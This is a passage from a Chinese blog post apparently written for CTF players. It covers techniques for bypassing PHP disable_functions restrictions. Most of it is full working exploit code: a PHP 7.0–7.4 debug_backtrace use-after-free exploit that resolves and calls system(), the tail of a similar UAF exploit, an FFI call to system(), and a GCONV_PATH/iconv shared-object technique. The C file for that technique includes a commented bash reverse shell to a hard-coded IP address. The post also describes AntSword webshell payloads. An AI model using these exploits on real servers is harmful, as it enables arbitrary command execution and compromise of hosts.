$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

payload – 蚁剑

image-20230827174547679

Backtrace UAF

历史报告:PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments

EXP

exploits/php7-backtrace-bypass at master · mm0r1/exploits (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

payload – 蚁剑

image-20230827175108510

FFI 扩展

FFI

随着PHP7.4而来的有一个扩展:PHP FFI(Foreign Function interface), 引用一段PHP FFI RFC中的一段描述:

1
For PHP, FFI opens a way to write PHP extensions and bindings to C libraries in pure PHP.

FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。

传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了。

具体还是看这篇文章吧:PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅 (laruence.com)

手工的代码如下:

1
2
3
4
5
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");

FFI::cdef用于说明函数的原型,然后把参数传进去。然后直接访问就可以得到flag。

payload – 蚁剑

image-20230827192753441

iconv

利用条件

Linux 操作系统

putenv

iconv(可选)

存在可写的目录, 需要上传 .so 文件

给我的感觉和 LD_PRELOAD 的绕过方法差不多

实际操作

存在 iconv() 函数

上传gconv-modules文件于/tmp文件夹,其内容如下:

1
2
module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2

1
2
module  KOISHI//    INTERNAL    ../../../../../../../../tmp/koishi    2
module INTERNAL KOISHI// ../../../../../../../../tmp/koishi 2

再书写koishi.c文件,内容如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("/readflag > /tmp/flag");
// system("bash -c 'bash -i >& /dev/tcp/43.138.0.3/3333 <&1'");
}

执行shell命令:

1
gcc koishi.c -o koishi.so -shared -fPIC

将生成的.so文件上传到/tmp。

书写shell.php内容如下:

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
iconv("koishi", "UTF-8", "whatever");
?>

上传到/var/www/html文件夹(web服务根目录)下。使用浏览器访问。此时/tmp/flag中已经存储了flag值。

总之就是:

上传 so 文件和 gconv-modules 文件到 tmp 目录下

上传 php 文件到web服务根目录下,访问即可在 /tmp下生成flag文件

不存在 iconv() 函数

前两步相同,

上传 so 文件和 gconv-modules 文件到 tmp 目录下

最后的php文件更换为以下内容,通过文件包含去触发so文件,访问该php文件

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/koishi.so');
?>

或者

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
iconv__strlen( "1","koishi");
?>

payload – 蚁剑

选择 iconv 后,执行会在web根目录下生成一个 .antproxy.php 文件,密码为 ant。

连接上即可执行命令。

  • 标题: php disable_functions绕过
  • 作者: Ko1sh1
  • 创建于 : 2023-01-02 12:10:55
  • 更新于 : 2024-05-30 22:43:04
  • 链接: https://ko1sh1.github.io/2023/01/02/blog_disable_functions绕过/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论